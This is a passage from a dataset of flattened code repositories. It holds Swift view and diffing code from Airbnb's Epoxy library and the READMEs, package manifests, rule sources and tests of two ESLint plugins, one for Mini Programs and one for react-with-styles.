deeper than two layers is not supported\n \"\"\")\n return\n }\n\n _model = model\n\n if\n let oldValue = oldValue,\n let view = view,\n oldValue.diffIdentifier == model.diffIdentifier,\n oldValue.styleID == model.styleID\n {\n if !oldValue.isDiffableItemEqual(to: model) {\n model.configureContent(view, traitCollection: traitCollection, animated: animated)\n }\n // The behavior is configured regardless of content equality since behavior is not equatable.\n model.configureBehavior(view, traitCollection: traitCollection)\n } else {\n let view = makeView(\n from: model,\n originalModel: originalModel as? InternalBarModeling,\n animated: animated)\n let animations = { self.view = view }\n if animated {\n // We do not allow consumers to pass in this duration as they can configure it by wrapping\n // this call in their own animation transaction that will override this one.\n UIView.transition(\n with: self,\n duration: 0.3,\n options: .transitionCrossDissolve,\n animations: animations,\n completion: { [weak self] _ in\n guard let self = self else { return }\n model.didDisplay(view, traitCollection: self.traitCollection, animated: animated)\n })\n } else {\n animations()\n model.didDisplay(view, traitCollection: traitCollection, animated: animated)\n }\n }\n }\n\n private func makeView(\n from model: InternalBarModeling,\n originalModel: InternalBarModeling?,\n animated: Bool)\n -> UIView\n {\n let view = model.makeConfiguredView(traitCollection: traitCollection)\n\n willDisplayBar?(view)\n model.willDisplay(view, traitCollection: traitCollection, animated: animated)\n originalModel?.willDisplay(view, traitCollection: traitCollection, animated: animated)\n\n originalViewLayoutMargins = nil\n return view\n }\n\n private func coordinator(for model: InternalBarCoordinating) -> AnyBarCoordinating {\n if let coordinator = _coordinator, model.canReuseCoordinator(coordinator) {\n return coordinator\n }\n\n var canUpdate = false\n let coordinator = model.makeCoordinator(update: { [weak self] animated in\n guard canUpdate, let self = self else { return }\n // We pass the original model here so we don't stack coordinator models atop one another.\n self.setModel(self.model, animated: animated)\n })\n\n _coordinator = coordinator\n didUpdateCoordinator?(coordinator.backing)\n\n // Calling out to `didUpdateCoordinator` can have a side-effect of configuring properties of the\n // coordinator that may trigger an `updateBarModel` to be called. We want to wait to perform\n // them all at once when we query the bar model from the coordinator after this method returns.\n canUpdate = true\n\n return coordinator\n }\n\n private func updateView(from oldValue: UIView?) {\n guard view !== oldValue else { return }\n\n oldValue?.removeFromSuperview()\n\n if let view = view {\n view.translatesAutoresizingMaskIntoConstraints = false\n view.insetsLayoutMarginsFromSafeArea = false\n addSubview(view)\n let top = view.topAnchor.constraint(equalTo: topAnchor)\n let bottom = view.bottomAnchor.constraint(equalTo: bottomAnchor)\n let leading = view.leadingAnchor.constraint(equalTo: leadingAnchor)\n let trailing = view.trailingAnchor.constraint(equalTo: trailingAnchor)\n // Ensure that when compressed the bar slides underneath the previous bar or the edge of the\n // screen rather than compressing its content which can result in weird layouts.\n //\n // We add one to `defaultLow` to allow for content to use this as its compression resistance\n // priority to be compressed.\n switch zOrder {\n case .lastToFirst:\n bottom.priority = UILayoutPriority(rawValue: UILayoutPriority.defaultLow.rawValue + 1)\n case .firstToLast:\n top.priority = UILayoutPriority(rawValue: UILayoutPriority.defaultLow.rawValue + 1)\n }\n NSLayoutConstraint.activate([top, bottom, leading, trailing])\n }\n }\n\n}\n", "Sources\\EpoxyCore\\Diffing\\IndexChangeset.swift": "// Created by Laura Skelton on 11/25/16.\n// Copyright \u00a9 2016 Airbnb. All rights reserved.\n\nimport Foundation\n\n// MARK: - IndexChangeset\n\n/// A set of inserts, deletes, updates, and moves that define the changes between two collections.\npublic struct IndexChangeset {\n\n // MARK: Lifecycle\n\n public init(\n inserts: [Int] = [],\n deletes: [Int] = [],\n updates: [(old: Int, new: Int)] = [],\n moves: [(old: Int, new: Int)] = [],\n newIndices: [Int?] = [],\n duplicates: [[Int]] = [])\n {\n self.inserts = inserts\n self.deletes = deletes\n self.updates = updates\n self.moves = moves\n self.newIndices = newIndices\n self.duplicates = duplicates\n }\n\n // MARK: Public\n\n /// The inserted indices needed to get from the old collection to the new collection.\n public var inserts: [Int]\n\n /// The deleted indices needed to get from the old collection to the new collection.\n public var deletes: [Int]\n\n /// The updated indices needed to get from the old collection to the new collection.\n public var updates: [(old: Int, new: Int)]\n\n /// The moved indices needed to get from the old collection to the new collection.\n public var moves: [(old: Int, new: Int)]\n\n /// A record for each old collection item to its index (if any) is in the new collection.\n ///\n /// The indexes of this `Array` represent the indexes old collection, with elements of the\n /// corresponding index of the same item in the new collection it exists, else `nil`.\n public var newIndices: [Int?]\n\n /// A record of each element in the new collection that has an identical `diffIdentifier` with\n /// another element in the same collection.\n ///\n /// Each element in the outer `Array` corresponds to a duplicated identifier, with each inner\n /// `[Int]` containing the indexes that share a duplicate identifier in the new collection.\n ///\n /// While the diffing algorithm makes a best effort to handle duplicates, they can lead to\n /// unexpected behavior since identity of elements cannot be established and should be avoided if\n /// possible.\n public var duplicates: [[Int]]\n\n /// Whether there are any inserts, deletes, moves, or updates in this changeset.\n public var isEmpty: Bool {\n inserts.isEmpty && deletes.isEmpty && updates.isEmpty && moves.isEmpty\n }\n}\n\n// MARK: - IndexPathChangeset\n\n/// A set of inserts, deletes, updates, and moves that define the changes between two collections\n/// with indexes stored as `IndexPath`s.\npublic struct IndexPathChangeset {\n\n // MARK: Lifecycle\n\n public init(\n inserts: [IndexPath] = [],\n deletes: [IndexPath] = [],\n updates: [(old: IndexPath, new: IndexPath)] = [],\n moves: [(old: IndexPath, new: IndexPath)] = [],\n duplicates: [[IndexPath]] = [])\n {\n self.inserts = inserts\n self.deletes = deletes\n self.updates = updates\n self.moves = moves\n self.duplicates = duplicates\n }\n\n // MARK: Public\n\n /// The inserted `IndexPath`s needed to get from the old collection to the new collection.\n public var inserts: [IndexPath]\n\n /// The deleted `IndexPath`s needed to get from the old collection to the new collection.\n public var deletes: [IndexPath]\n\n /// The updated `IndexPath`s needed to get from the old collection to the new collection.\n public var updates: [(old: IndexPath, new: IndexPath)]\n\n /// The moved `IndexPath`s needed to get from the old collection to the new collection.\n public var moves: [(old: IndexPath, new: IndexPath)]\n\n /// A record for each element in the new collection that has an identical `diffIdentifier` with\n /// another element in the same collection.\n ///\n /// Each element in the outer `Array` corresponds to a duplicated identifier, with each inner\n /// `[IndexPath]` corresponding to the indexes that share a duplicate identifier in the new\n /// collection.\n ///\n /// While the diffing algorithm makes a best effort to handle duplicates, they can lead to\n /// unexpected behavior since identity of elements cannot be established and should be avoided if\n /// possible.\n public var duplicates: [[IndexPath]]\n\n /// Whether there are any inserts, deletes, moves, or updates in this changeset.\n public var isEmpty: Bool {\n inserts.isEmpty && deletes.isEmpty && updates.isEmpty && moves.isEmpty\n }\n\n public static func += (left: inout IndexPathChangeset, right: IndexPathChangeset) {\n left.inserts += right.inserts\n left.deletes += right.deletes\n left.updates += right.updates\n left.moves += right.moves\n left.duplicates += right.duplicates\n }\n}\n\n// MARK: - IndexSetChangeset\n\n/// A set of inserts, deletes, updates, and moves that define the changes between two collections\n/// with indexes stored as `IndexSet`.\npublic struct IndexSetChangeset {\n\n // MARK: Lifecycle\n\n public init(\n inserts: IndexSet = [],\n deletes: IndexSet = [],\n updates: [(old: Int, new: Int)] = [],\n moves: [(old: Int, new: Int)] = [],\n newIndices: [Int?] = [],\n duplicates: [IndexSet] = [])\n {\n self.inserts = inserts\n self.deletes = deletes\n self.updates = updates\n self.moves = moves\n self.newIndices = newIndices\n self.duplicates = duplicates\n }\n\n // MARK: Public\n\n /// An `IndexSet` of inserts needed to get from the old collection to the new collection.\n public var inserts: IndexSet\n\n /// An `IndexSet` of deletes needed to get from the old collection to the new collection.\n public var deletes: IndexSet\n\n /// The updated indices needed to get from the old collection to the new collection.\n public var updates: [(old: Int, new: Int)]\n\n /// The moved indices needed to get from the old collection to the new collection.\n public var moves: [(old: Int, new: Int)]\n\n /// A record for each old collection item of what its index (if any) is in the new collection.\n ///\n /// The indexes of this `Array` represent the indexes old collection, with elements of the\n /// corresponding index of the same item in the new collection it exists, else `nil`.\n public var newIndices: [Int?]\n\n /// A record for each element in the new collection that has an identical `diffIdentifier` with\n /// another element in the same collection.\n ///\n /// Each element in the `Array` corresponds to a duplicated identifier, with each `IndexSet`\n /// containing the indexes that share a duplicate identifier in the new collection.\n ///\n /// While the diffing algorithm makes a best effort to handle duplicates, they can lead to\n /// unexpected behavior since identity of elements cannot be established and should be avoided if\n /// possible.\n public var duplicates: [IndexSet]\n\n /// Whether there are any inserts, deletes, moves, or updates in this changeset.\n public var isEmpty: Bool {\n inserts.isEmpty && deletes.isEmpty && updates.isEmpty && moves.isEmpty\n }\n}\n"} | null |
eslint-plugin-miniprogram | {"type": "directory", "name": "eslint-plugin-miniprogram", "children": [{"type": "file", "name": ".eslintignore"}, {"type": "file", "name": ".eslintrc.js"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "jest.config.js"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "prettier.config.js"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "README_cn.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "constants", "children": [{"type": "file", "name": "index.ts"}]}, {"type": "file", "name": "custom.d.ts"}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "rules", "children": [{"type": "file", "name": "attribute-event-name-case.ts"}, {"type": "file", "name": "component-name.ts"}, {"type": "file", "name": "config-json-validate-fields.ts"}, {"type": "file", "name": "no-unregistered-components.ts"}, {"type": "file", "name": "no-unused-components.ts"}, {"type": "file", "name": "no-wx-sync-api.ts"}, {"type": "file", "name": "prefer-wx-promisify.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "no-wx-sync-api.spec.ts"}]}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "check-using-components.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "check-using-components.spec.ts"}]}]}]}, {"type": "file", "name": "tsconfig.json"}, {"type": "file", "name": "yarn.lock"}]} | # eslint-plugin-miniprogram
[![npm](https://img.shields.io/npm/v/eslint-plugin-miniprogram.svg)](https://www.npmjs.com/package/eslint-plugin-miniprogram)
[![Build Status](https://travis-ci.com/airbnb/eslint-plugin-miniprogram.svg?branch=master)](https://travis-ci.com/airbnb/eslint-plugin-miniprogram)
[中文版](./README_cn.md)
## About
This ESLint plugin exists to help you lint your Mini Program code.
### `.mina` files
For developing with `.mina` files, you can refer to [mina-webpack](https://github.com/tinajs/mina-webpack) repo for details.
## How to use
Install the plugin:
```bash
npm install --save-dev eslint eslint-plugin-miniprogram
```
In your `.eslintrc.js` file, include this plugin:
```js
// .eslintrc.js
module.exports = {
// you'll need vue-eslint-parser for `.mina` files
parser: "vue-eslint-parser",
plugins: [
// amongst other other plugins, e.g. prettier
"prettier",
// include this plugin
"miniprogram"
]
};
```
Enable rules:
```js
// .eslintrc.js
module.exports = {
rules: {
// other rules
"miniprogram/attribute-event-name-case": ["error", "camel"],
"miniprogram/component-name": ["error"],
"miniprogram/no-unused-components": ["error"],
"miniprogram/no-unregistered-components": ["error"],
"miniprogram/no-wx-sync-api": ["warn"],
"miniprogram/prefer-wx-promisify": ["error"],
"miniprogram/config-json-validate-fields": ["error"]
// rest of the rules
}
};
```
## Rules
### Prefer wx `promisify` (`prefer-wx-promisify`)
Mini Program API introduces a new style of callbacks whick could be a new
[callback hell](http://callbackhell.com/).
You can use `promisify` to enter the Promise world.
#### Details
Prefer `promisify` over wx style callbacks including `success`, `fail` and `complete`.
Examples of **incorrect** code for this rule:
```ts
wx.request({
url: "https://www.example.com",
success(res) {
console.log(res);
},
fail(error) {
console.error(error);
},
complete() {
console.log("complete");
}
});
```
Examples of **correct** code for this rule:
```ts
try {
const res = await promisify(wx.request)({
url: "https://www.example.com",
});
console.log(res);
} catch (error) {
console.error(error);
} finally {
console.log("complete");
}
```
#### Related Rules
- `no-wx-sync-api`
### Disallow the use of wx.xxSync API (`no-wx-sync-api`)
Sync API will block JavaScript running and cause bad performance.
For example `wx.getStorageSync` costs 30~100ms CPU time:
```ts
console.time("sync");
wx.setStorageSync("key", "value");
console.timeEnd("sync");
```
#### Rule Details
Disallow any `wx.xxxSync` API call.
Examples of **incorrect** code for this rule:
```ts
wx.setStorageSync("key", "value");
```
Examples of **correct** code for this rule:
```ts
await promisify(wx.setStorage)({
key: "key",
data: "value"
});
```
#### Related Rules
- `prefer-wx-promisify`
### No unused component (`no-unused-components`)
#### Rule Details
Bad case:
```vue
<config>
{
"component": ture,
"usingComponent": {
// unused `my-comp`
"my-comp": "/path/to/myComp.mina"
}
}
</config>
<template>
<view>hi</view>
</template>
```
### No unregistered component (`no-unregistered-components`)
Bad case:
```vue
<config>
{
"component": ture,
"usingComponent": {
"my-comp": "/path/to/myComp.mina"
}
}
</config>
<template>
<!-- typo here -->
<my-compp />
</template>
```
### Validate fields in component / page config file (config-json-validate-fields)
| | [WeChat](https://developers.weixin.qq.com/miniprogram/dev/framework/custom-component/component.html#%E4%BD%BF%E7%94%A8-component-%E6%9E%84%E9%80%A0%E5%99%A8%E6%9E%84%E9%80%A0%E9%A1%B5%E9%9D%A2) | [Baidu](https://smartprogram.baidu.com/docs/develop/framework/custom-component_comp/#%E4%BD%BF%E7%94%A8-Component-%E6%9E%84%E9%80%A0%E5%99%A8%E6%9E%84%E9%80%A0%E9%A1%B5%E9%9D%A2) |
| ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Use `Page` for page | no `components` | no `components` |
| Use `Component` for page | `usingComponents` | `component` |
| Use `Component` for component | `usingComponents` | `component` |
| `navigationBarTextStyle` values | can only be `black`/`white` |
| `backgroundTextStyle` values | can only be `dark`/`light` |
Different Mini Program runtimes have different required fields in config (`.json`) file.
You should add `"component": true` if you are using `Component` function.
```ts
// comp.js
Component({});
```
```html
<!-- comp.mina -->
<config>
{ "component": true, "usingComponents": {} }
</config>
```
You should not use `"component": true` in `Page` function.
```ts
// page.js
Page({});
```
```html
<!-- page.mina -->
<config>
{ "usingComponents": {} }
</config>
```
You should always add `"usingComponents": {}`, even if it's empty.
```html
<!-- comp.mina -->
<config>
{ "component": true, "usingComponents": {} }
</config>
```
You should only use `black` or `white` for `navigationBarTextStyle` values.
You should only use `dark` or `light` for `backgroundTextStyle` values.
### Lint `usingComponents` name (`component-name`)
Some use cases:
```json5
{
"comp": "/path/to/myComp.mina", // should be `my-comp
"comp": "/path/to/anotherComp/index.mina" // should be `another-comp`
}
```
### Check event name case (`attribute-event-name-case`)
| | (Demo) | WeChat | Baidu |
| ---------- | ------------- | ------ | ----- |
| Camel Case | bind:myEvent | √ | √ |
| Kebab Case | bind:my-event | √ | × |
| Snake Case | bind:my_event | √ | √ |
- `'camel'`
```html
<comp bind:myEvent="onClick" />
```
- `'kebab'`
```html
<comp bind:my-event="onClick" />
```
- `'snake'`
```html
<comp bind:my_event="onClick" />
```
| {"package.json": "{\n \"name\": \"eslint-plugin-miniprogram\",\n \"keywords\": [\n \"eslint\",\n \"plugin\",\n \"mini-program\",\n \"mini-app\"\n ],\n \"engines\": {\n \"node\": \">= 8.0\"\n },\n \"repository\": \"[email protected]:airbnb/eslint-plugin-miniprogram.git\",\n \"author\": \"Chong Ma <[email protected]>\",\n \"contributors\": [\n \"Jiayu Liu <[email protected]>\"\n ],\n \"license\": \"MIT\",\n \"private\": false,\n \"version\": \"0.2.0\",\n \"description\": \"eslint plugin for mini programs\",\n \"main\": \"lib/index.js\",\n \"files\": [\n \"lib/\"\n ],\n \"scripts\": {\n \"prebuild\": \"npm run clean\",\n \"start\": \"npm run build -- --watch\",\n \"lint\": \"eslint .\",\n \"build\": \"tsc -p .\",\n \"clean\": \"rimraf lib\",\n \"test\": \"jest\"\n },\n \"devDependencies\": {\n \"@types/eslint\": \"^8.4.10\",\n \"@types/eslint-scope\": \"^3.7.0\",\n \"@types/eslint-visitor-keys\": \"^3.3.0\",\n \"@types/jest\": \"^29.2.4\",\n \"@types/json5\": \"^2.2.0\",\n \"@types/lodash\": \"^4.14.136\",\n \"@types/node\": \"^18.11.12\",\n \"@typescript-eslint/eslint-plugin\": \"^5.46.0\",\n \"@typescript-eslint/parser\": \"^5.46.0\",\n \"cross-env\": \"^7.0.3\",\n \"eslint\": \"^8.29.0\",\n \"eslint-config-airbnb-base\": \"^15.0.0\",\n \"eslint-config-prettier\": \"^8.5.0\",\n \"eslint-plugin-import\": \"^2.18.2\",\n \"eslint-plugin-prettier\": \"^4.2.1\",\n \"jest\": \"^29.3.1\",\n \"prettier\": \"^2.8.1\",\n \"rimraf\": \"^3.0.2\",\n \"ts-jest\": \"^29.0.3\",\n \"typescript\": \"^4.9.4\"\n },\n \"peerDependencies\": {\n \"eslint\": \"^6.2.0\",\n \"eslint-plugin-vue\": \"^5.2.3\",\n \"vue-eslint-parser\": \"^6.0.4\"\n },\n \"dependencies\": {\n \"@tinajs/mina-sfc\": \"^0.2.2\",\n \"eslint-plugin-vue\": \"^9.8.0\",\n \"json5\": \"^2.1.0\",\n \"lodash\": \"^4.17.15\",\n \"vue-eslint-parser\": \"^9.1.0\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "src\\index.ts": "import { noWxSyncApi } from './rules/no-wx-sync-api';\nimport { preferWxPromisify } from './rules/prefer-wx-promisify';\nimport { configJsonValidateFields } from './rules/config-json-validate-fields';\nimport { attributeEventNameCase } from './rules/attribute-event-name-case';\nimport { componentName } from './rules/component-name';\nimport { noUnusedComponents } from './rules/no-unused-components';\nimport { noUnregisteredComponents } from './rules/no-unregistered-components';\n\nexport = {\n rules: {\n 'no-wx-sync-api': noWxSyncApi,\n 'prefer-wx-promisify': preferWxPromisify,\n 'config-json-validate-fields': configJsonValidateFields,\n 'attribute-event-name-case': attributeEventNameCase,\n 'component-name': componentName,\n 'no-unused-components': noUnusedComponents,\n 'no-unregistered-components': noUnregisteredComponents,\n },\n};\n", "src\\constants\\index.ts": "export const BUILD_IN_COMPONENTS = [\n // framework\n 'template',\n 'slot',\n 'block',\n // built-in\n 'movable-view',\n 'cover-image',\n 'cover-view',\n 'movable-area',\n 'scroll-view',\n 'swiper',\n 'swiper-item',\n 'view',\n 'icon',\n 'progress',\n 'rich-text',\n 'text',\n 'button',\n 'checkbox',\n 'checkbox-group',\n 'editor',\n 'form',\n 'input',\n 'label',\n 'picker',\n 'picker-view',\n 'picker-view-column',\n 'radio',\n 'radio-group',\n 'slider',\n 'switch',\n 'textarea',\n 'functional-page-navigator',\n 'navigator',\n 'audio',\n 'camera',\n 'image',\n 'live-player',\n 'live-pusher',\n 'video',\n 'map',\n 'canvas',\n 'ad',\n 'official-account',\n 'open-data',\n 'web-view',\n];\n\nexport type CommonConfig = {\n component: boolean;\n usingComponents: object;\n};\n\nexport type HexColor = string;\n\nexport type PageConfig = CommonConfig & {\n navigationBarBackgroundColor: HexColor;\n navigationBarTextStyle: 'white' | 'black';\n navigationBarTitleText: string;\n navigationStyle: 'default' | 'custom';\n backgroundColor: HexColor;\n backgroundTextStyle: 'dark' | 'light';\n backgroundColorTop: string;\n backgroundColorBottom: string;\n enablePullDownRefresh: boolean;\n onReachBottomDistance: number;\n pageOrientation: 'portrait' | 'landscape' | 'auto';\n disableSwipeBack: boolean;\n disableScroll: boolean;\n componentGenerics: Record<string, boolean | { default: string }>;\n};\n\nexport const ValidKeys = new Set([\n 'component',\n 'usingComponents',\n 'componentGenerics',\n 'navigationBarBackgroundColor',\n 'navigationBarTextStyle',\n 'navigationBarTitleText',\n 'navigationStyle',\n 'backgroundColor',\n 'backgroundTextStyle',\n 'backgroundColorTop',\n 'backgroundColorBottom',\n 'enablePullDownRefresh',\n 'onReachBottomDistance',\n 'pageOrientation',\n 'disableSwipeBack',\n 'disableScroll',\n]);\n"} | null |
eslint-plugin-react-with-styles | {"type": "directory", "name": "eslint-plugin-react-with-styles", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmrc"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "docs", "children": [{"type": "directory", "name": "rules", "children": [{"type": "file", "name": "no-unused-styles.md"}, {"type": "file", "name": "only-spread-css.md"}]}]}, {"type": "directory", "name": "lib", "children": [{"type": "file", "name": "index.js"}, {"type": "directory", "name": "rules", "children": [{"type": "file", "name": "no-unused-styles.js"}, {"type": "file", "name": "only-spread-css.js"}]}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "tests", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "file", "name": "index.js"}, {"type": "directory", "name": "lib", "children": [{"type": "directory", "name": "rules", "children": [{"type": "file", "name": "no-unused-styles.js"}, {"type": "file", "name": "only-spread-css.js"}]}]}]}]} | # eslint-plugin-react-with-styles <sup>[![Version Badge][npm-version-svg]][package-url]</sup>
[![Build Status][travis-svg]][travis-url]
[![dependency status][deps-svg]][deps-url]
[![dev dependency status][dev-deps-svg]][dev-deps-url]
[![License][license-image]][license-url]
[![Downloads][downloads-image]][downloads-url]
[![npm badge][npm-badge-png]][package-url]
ESLint plugin for [react-with-styles][react-with-styles].
## Rules
- [react-with-styles/no-unused-styles](docs/rules/no-unused-styles.md): Require all styles that are defined to be referenced
- [react-with-styles/only-spread-css](docs/rules/only-spread-css.md): Require that `css()` is only spread into a JSX element without a `className` or `style` prop
[package-url]: https://npmjs.org/package/eslint-plugin-react-with-styles
[npm-version-svg]: http://versionbadg.es/airbnb/eslint-plugin-react-with-styles.svg
[travis-svg]: https://travis-ci.org/airbnb/eslint-plugin-react-with-styles.svg
[travis-url]: https://travis-ci.org/airbnb/eslint-plugin-react-with-styles
[deps-svg]: https://david-dm.org/airbnb/eslint-plugin-react-with-styles.svg
[deps-url]: https://david-dm.org/airbnb/eslint-plugin-react-with-styles
[dev-deps-svg]: https://david-dm.org/airbnb/eslint-plugin-react-with-styles/dev-status.svg
[dev-deps-url]: https://david-dm.org/airbnb/eslint-plugin-react-with-styles#info=devDependencies
[npm-badge-png]: https://nodei.co/npm/eslint-plugin-react-with-styles.png?downloads=true&stars=true
[license-image]: http://img.shields.io/npm/l/eslint-plugin-react-with-styles.svg
[license-url]: LICENSE
[downloads-image]: http://img.shields.io/npm/dm/eslint-plugin-react-with-styles.svg
[downloads-url]: http://npm-stat.com/charts.html?package=eslint-plugin-react-with-styles
[react-with-styles]: https://github.com/airbnb/react-with-styles
| {"package.json": "{\n \"name\": \"eslint-plugin-react-with-styles\",\n \"version\": \"2.4.0\",\n \"description\": \"ESLint plugin for react-with-styles\",\n \"main\": \"lib/index.js\",\n \"directories\": {\n \"doc\": \"docs\",\n \"test\": \"tests\"\n },\n \"scripts\": {\n \"check-changelog\": \"expr $(git status --porcelain 2>/dev/null| grep \\\"^\\\\s*M.*CHANGELOG.md\\\" | wc -l) >/dev/null || (echo 'Please edit CHANGELOG.md' && exit 1)\",\n \"check-only-changelog-changed\": \"(expr $(git status --porcelain 2>/dev/null| grep -v \\\"CHANGELOG.md\\\" | wc -l) >/dev/null && echo 'Only CHANGELOG.md may have uncommitted changes' && exit 1) || exit 0\",\n \"lint\": \"eslint .\",\n \"mocha\": \"mocha --recursive\",\n \"postversion\": \"git commit package.json CHANGELOG.md -m \\\"Version $npm_package_version\\\" && npm run tag && git push && git push --tags && npm publish\",\n \"prepublishOnly\": \"safe-publish-latest\",\n \"prepublish\": \"not-in-publish || safe-publish-latest\",\n \"pretest\": \"npm run --silent lint\",\n \"preversion\": \"npm run test && npm run check-changelog && npm run check-only-changelog-changed\",\n \"tag\": \"git tag v$npm_package_version\",\n \"test\": \"npm run tests-only\",\n \"tests-only\": \"npm run mocha --silent tests\",\n \"posttest\": \"aud --production\",\n \"version:major\": \"npm --no-git-tag-version version major\",\n \"version:minor\": \"npm --no-git-tag-version version minor\",\n \"version:patch\": \"npm --no-git-tag-version version patch\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/airbnb/eslint-plugin-react-with-styles.git\"\n },\n \"keywords\": [\n \"eslint\",\n \"react\",\n \"react-with-styles\",\n \"eslint-plugin\",\n \"eslintplugin\"\n ],\n \"author\": \"Joe Lencioni <[email protected]>\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/eslint-plugin-react-with-styles/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/eslint-plugin-react-with-styles#readme\",\n \"peerDependencies\": {\n \"eslint\": \"^2 || ^3 || ^4 || ^5 || ^6 || ^7 || ^8\"\n },\n \"devDependencies\": {\n \"aud\": \"^2.0.0\",\n \"chai\": \"^4.2.0\",\n \"eslint\": \"^2 || ^3 || ^4 || ^5 || ^6 || ^7 || ^8\",\n \"eslint-config-airbnb-base\": \"^15.0.0\",\n \"eslint-plugin-import\": \"^2.25.4\",\n \"in-publish\": \"^2.0.0\",\n \"ls-engines\": \"^0.6.4\",\n \"mocha\": \"^5.2.0\",\n \"safe-publish-latest\": \"^1.1.3\",\n \"semver\": \"^6.3.0\"\n },\n \"dependencies\": {\n \"has\": \"^1.0.3\"\n },\n \"engines\": {\n \"node\": \">= 4\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "lib\\index.js": "'use strict';\n\nconst onlySpreadCSS = require('./rules/only-spread-css');\nconst noUnusedStyles = require('./rules/no-unused-styles');\n\nmodule.exports = {\n rules: {\n 'only-spread-css': onlySpreadCSS,\n 'no-unused-styles': noUnusedStyles,\n },\n\n configs: {\n recommended: {\n rules: {\n 'react-with-styles/only-spread-css': 'error',\n 'react-with-styles/no-unused-styles': 'error',\n 'no-restricted-imports': ['error', {\n paths: [{\n name: 'react-with-styles',\n importNames: ['css', 'cssNoRTL'],\n message: 'The global `css` and `cssNoRTL` exports are deprecated. Please use `this.props.css` instead!',\n }],\n }],\n },\n },\n },\n};\n", "tests\\index.js": "'use strict';\n\nconst expect = require('chai').expect;\nconst fs = require('fs');\nconst path = require('path');\n\nconst plugin = require('..');\n\nconst ruleFiles = fs.readdirSync(path.resolve(__dirname, '../lib/rules/'))\n .map((f) => path.basename(f, '.js'));\n\ndescribe('all rule files are exported by the plugin', () => {\n ruleFiles.forEach((ruleName) => {\n it(`exports ${ruleName}`, () => {\n expect(plugin.rules[ruleName])\n // eslint-disable-next-line global-require, import/no-dynamic-require\n .to.eql(require(path.join('../lib/rules', ruleName)));\n });\n });\n});\n\ndescribe('configurations', () => {\n it('exports a \"recommended\" configuration', () => {\n expect(plugin.configs.recommended).to.not.equal(null);\n expect(plugin.configs.recommended).to.not.equal(undefined);\n expect(plugin.configs.recommended).to.not.be.eql({});\n });\n\n it('has rules in the \"recommended\" configuration', () => {\n expect(Object.keys(plugin.configs.recommended).length).to.be.above(0);\n });\n\n it('has correctly-formatted rule names in the \"recommended\" configuration', () => {\n Object.keys(plugin.configs.recommended.rules).forEach((configName) => {\n if (configName === 'no-restricted-imports') return;\n expect(configName.startsWith('react-with-styles/')).to.equal(true);\n });\n });\n\n it('has synchronized recommended metadata', () => {\n ruleFiles.forEach((ruleName) => {\n const fullRuleName = `react-with-styles/${ruleName}`;\n const inRecommendedConfig = Boolean(plugin.configs.recommended.rules[fullRuleName]);\n const isRecommended = plugin.rules[ruleName].meta.docs.recommended;\n if (inRecommendedConfig) {\n expect(isRecommended, `${ruleName} metadata should mark it as recommended`)\n .to.equal(true);\n } else {\n expect(isRecommended, `${ruleName} metadata should not mark it as recommended`)\n .to.equal(false);\n }\n });\n });\n\n it('has all \"recommended\" rule names that match rule names', () => {\n Object.keys(plugin.configs.recommended.rules).forEach((configName) => {\n if (configName === 'no-restricted-imports') return;\n const ruleName = configName.substring('react-with-styles/'.length);\n const rule = plugin.rules[ruleName];\n\n expect(rule).to.not.equal(null);\n expect(rule).to.not.equal(undefined);\n expect(rule).to.not.eql({});\n });\n });\n});\n"} | null |
